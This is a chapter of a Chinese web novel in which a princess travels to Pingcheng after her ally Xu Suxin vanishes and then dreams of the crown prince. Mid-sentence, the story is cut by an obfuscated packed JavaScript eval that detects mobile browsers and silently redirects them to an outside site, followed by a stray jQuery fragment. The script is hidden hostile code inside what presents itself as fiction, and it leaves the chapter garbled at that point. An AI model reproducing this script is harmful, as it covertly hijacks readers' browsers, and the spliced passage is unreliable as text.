72. 失踪

作品:《落魄公主她未卜先知

    李昭鱼古怪地看着他的神色,后知后觉地发现他真的有点不对劲,跟以往不一样,脸上的那点在梦境中没有回过神来的惊恐还没有完全消失,这神情之前也出现过一次,李昭鱼是真的有点好奇了,到底什么事情能让他这样害怕。


    她拍着贺浑的脸,“你最近是不是有什么烦心的事?”


    贺浑抱着她,很紧,声音沉的叫人心惊,“没有,能让我烦心的只有你。”


    “······”


    李昭鱼挣开他说起来了,还有事呢,两人各有心事的就起床梳洗,穿戴整齐后又沉默的用饭,贺浑又去军营,李昭鱼便去都护府,贺浑离开之前盯着她的脸,“不若跟我一起去军营吧。”


    李昭鱼扫开他按着自己的手,“别闹了,一堆事呢,你快去吧,”


    贺浑骑马,先走了。


    李昭鱼捏着手心里的玉蝉,文竹过来的时候李昭鱼正在发愣,她笑了笑,“公主最近很爱愣神,人看着也犯懒。”


    李昭鱼看了看文竹,回过神来,她摇了摇头,只觉得自己似乎有些心软了,这不是好兆头,她从来都清楚自己要做什么,母妃的话她记得,来到这里,最终的目的是为了让大晋能够延续国祚,能让太子稳坐皇位,她该考虑贺浑吗?


    玉蝉泛着温润的光。


    李昭鱼脑中却出现了梦境般的一幕,贺浑抱着她的身躯,她的嘴角满是紫黑的血液,淮波湖的血腥之气在脑中的景象里似乎闻到了味道,贺浑紧紧地抱着她,双目通红,眼角划过泪水,他低着头蹭着李昭鱼的脸颊,恳求的语气低声说着什么。


    这样的景象让李昭鱼久久无法回过神来。


    好熟悉的一幕,在哪里见过?做过这样的梦?什么时候呢?李昭鱼初来凉州的时候总是会做些可怕的梦,醒来之后又有些缥缈,模模糊糊地不记得究竟是梦到了什么。


    这也是梦境吗?


    像是她的梦,又不像。


    “公主?公主?”


    李昭鱼抬眼,文竹被她的眼神吓了一跳,“这是怎么了?说着话又魔怔了?是不是最近太累了?”


    文竹脸上的神情十分紧张,看上去真的被李昭鱼这个样子吓到了,李昭鱼则按住她的手,“我没事,不用担心。”


    文竹还是皱眉,一张脸拧成了一团,“找个郎中来看看吧,公主的脸色不好。”


    李昭鱼在迟疑着,但很快就没时间迟疑了,一封急信从平城传来,李昭鱼从阿章那里收到信,脸色变得极其难看,她看着阿章,咬牙,“吩咐人,我要亲自去平城!”


    阿章先是一愣,然后很快去通知凉州的暗卫,他刚要买开步子便看见李昭鱼将他拽住手臂,“把贾威叫来。”


    阿章应声。


    文竹蹲下身看着那封掉落在地上的信,而后缓缓睁大了眼睛。


    眼睛落在那上面的“许”和“苏合香”“不见踪迹”,预感到大事不妙了。


    李昭鱼要去平城的事是叫人送信给贺浑的,故意晚了两个时辰,等到贺浑知道这件事的时候李昭鱼已经出城了,她没有提别的,只说许太守和王安世有些不和,加之灯油的事情在平城有些不顺畅,过去看看,几日便回。


    贺浑捏着信,面色不善,同时,另一封密信在桌上静静地放着。


    杨敢沉声道:“京中异动,太子秘密前往平城。”


    贺浑许久都没有应声,将那封信攥的皱成一团。


    李昭鱼一身劲装,骑在马上,风声猎猎,将她的面容吹得有些泛红,她一身男子装束,里面穿着软甲,阿章和后面的一众暗卫都时刻警戒着,不过凉州到平城的一路都算是凉州境内,归贺浑统辖,也没有什么大问题,但是一踏入平城,李昭鱼便浑身都有些戒备,没来由的一种异样感觉在心里升腾起来。


    天已经黑了,这一路马不停蹄,李昭鱼进了城就直奔太守府,许太守和苏十三都在等着她,一见她便要行礼,但是李昭鱼却没空讲究这些了,直接进去,门一关上,她就神色担忧地问:“到底是怎么回事?素心怎么会不见了?”


    许太守愁眉不展,几乎是有些说不出话了,一双眼睛泛着焦急,甚至有些发红。


    苏十三还算冷静,看着李昭鱼说道:“一个月前程家订了六百斤灯油,要献给外城的一家寺庙,因程家是当地的豪族,所以格外尽心,素心以替太守府敬献灯油的名义跟着去了,谁知道回来的路上就不见了踪迹,随行押运的人全都···”


    李昭鱼皱眉,“这两天可有什么消息?”


    苏十三摇了摇头,李昭鱼皱着眉头,分析着说:“那人若是想要制灯油的方法,那便不会杀了素心,若是想要利用灯油去做些文章,那更加不会轻易得罪我们,想必过几日就会有消息了。”


    许太守来回踱步,李昭鱼这话让他暂时安定了一下,虽然也知道是这么个道理,但还是忍不住担忧,灯油的生意越来越大,勾连着京都和凉州,平城早就惹眼了,出事是早晚的,李昭鱼想到了,但是没想到会这么快。


    而且···这件事透着诡异。


    李昭鱼交代先调查一下程家,再调查一下平城近来来往的可疑之人,再者也把平城从前做灯油生意的人查一查。


    许太守连连应声,勉强提起精神,让李昭鱼先安顿下来,叫人将府衙收拾出来,又加派人手看守附近,不叫有任何差池,李昭鱼看着他来回吩咐人的身影,将要离开的时候叫住他,“许太守。”


    许太守怔住,转头躬身,“公主还有什么吩咐?”


    李昭鱼看着他,一字一句道:“我一定竭尽所能让素心平安回来,她是为我做事的,我不会因为任何代价而放弃她。”


    也就是说,不管对方提出什么条件李昭鱼都会接受,只要能换许素心的命。


    许太守一愣,双眼泛着红,“多谢公主殿下,臣多谢公主殿下。”


    李昭鱼辗转难眠,她推开门,阿章


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453856|163737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就在廊下不远处,那身影透着一点固执的样子,他转头看着李昭鱼一身披着外衣,收回目光,行礼道:“公主。”


    李昭鱼没有说话,只是拢了拢身上的衣服,坐在栏杆下仰头看着月色,莫名感受到一点孤寂,无边无际,仿佛这天地间就剩下了她一个人似的,所有的事情都朝她涌过来,漫过她,她只能无力的承受着,她得撑着,她不能倒下,也不敢踏错一步。


    不知道贺浑在做什么?李昭鱼想起了他,但很快又轻轻摇了摇头。


    她站了一会,转头又回屋了,阿章垂了垂目光,也很木讷的转身,抱着伞剑,耳朵听着风声。


    李昭鱼捏着手里的玉蝉,很快就睡着了,但是却没有睡熟,自己都不知自己是不是睡着了,意识慢慢地沉到了一个陌生的地方,她不辨真假了。


    “昭鱼?昭鱼?”


    李昭鱼睁开眼,看着眼前的人,眼神惊异,“太子哥哥?”


    李原那张和李昭鱼有两分相似的脸就赫然出现,他穿着一身常服,却仍旧矜贵,伸手摸着李昭鱼头,“是我,般般。”


    李昭鱼一时间有些模糊了,她觉得这是梦,但是梦里这个人却真的是太子,因为他叫了自己的小字。


    李原半蹲着,看着李昭鱼的脸,贪婪地描绘着她的眉眼,“般般,可想我了?”


    李昭鱼缓慢地眨着眼,很轻地点了点头,她看着李原,又叫了一声太子哥哥,她说:“我好累啊。”


    李原握着她的手,放在了唇边,李昭鱼感受到了一点炙热的呼吸,她想,这真的是梦吗?


    李原把她的手放在自己脸上,“对不起,是我没用。”


    李昭鱼似乎看到了他眼尾的一点泪珠,她皱眉,“不···不是的···我···我很好,太子殿下,我在凉州很好。”


    李原垂了垂眼睛,伸手摸着她头,“还记得你刚来皇后宫里的时候吗?晚上的时候你害怕,睡不着觉的时候便去找我。”


    他似乎陷入了自己的回忆中,攥着手指让他沉溺其中,他自顾自地言语着,“你看着我,叫我哥哥,说你害怕,说让我保护你,我答应你了,可我却总是让你受苦···是我不对,是我不好。”


    李昭鱼的指尖濡湿,她跌入了一种莫名的情绪中,在害怕,在难过,在无措,也很迷茫,但她只能微微地眨着眼睛摇头。


    不是的,她想说太子已经为她做了很多了,李原竭尽所能地帮她,从小到大都在尽力地满足李昭鱼的心愿,除了不可以见她母妃,李原在皇后的眼皮子底下耍了不少的手段,尽全力让她的日子不那么难过。


    李原将她抱着,捋着她的鬓发,“很快就可以结束了,你可以回京都,可以安安稳稳地回皇宫,我会保护你的,昭鱼,我会永远保护你。”


    李昭鱼在他怀里睁不开眼,只是紧紧攥着他的衣袖,她昏昏沉沉,意识不清,很快跌入了一片空白,等到醒来的时候完全是另一番景象了。